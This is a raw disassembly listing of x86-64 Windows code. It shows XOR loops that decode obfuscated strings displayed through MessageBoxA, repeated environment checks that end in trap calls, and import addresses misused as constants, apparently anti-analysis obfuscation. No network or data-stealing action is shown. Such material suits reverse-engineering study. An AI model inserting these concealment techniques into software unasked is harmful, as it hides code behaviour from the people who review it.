movabs r9, 0x1cac40bfd0
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x368]
xor dil, r10b
mov byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140040313
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x140101fc0]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x223b9b1e
mov word [rbp + 0x76c], Ordinal_200
mov r9, r14
mov esi, 0x4d3da464
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x11b5af8588
movabs r10, 0x236b5f0b10
mov r15d, 0xd7e3c967
mov cl, r9b
and cl, r13b
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x1400403ca
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
cmp rax, rsi
mov r15d, 0x748af5
jne 0x14004050a
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d48e68f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400404ea
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400404ea
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14004050a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, rsi
jne 0x1400408d1
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040598
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040598
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400408d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140040673
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x24]
xor edx, edx
mov eax, 0x3d68809f
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040653
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040653
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040673
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
movdqa xmm0, xmmword [0x140102170]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0x9b
mov rdi, r14
mov ebx, 0xd7e3c967
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.140040a00
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x140040694
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x140101ed0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x140101f90]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x140101f10]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0xe5bf11d5
mov dword [rbp + 0xd0c], 0xfcdf44eb
mov dword [rbp + 0xd10], 0x7f0dd260
mov word [rbp + 0xd14], 0xf7
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140040a6c
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x140040729
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x140040827
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140040807
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140040807
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140040827
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov rax, qword gs:[0x23]
cmp rax, r12
jne 0x1400408d1
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x24]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400408b1
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400408b1
mov rcx, qword gs:[0x24]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400408d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a6b58
int3
mov ecx, 1
call fcn.1400a6b58
int3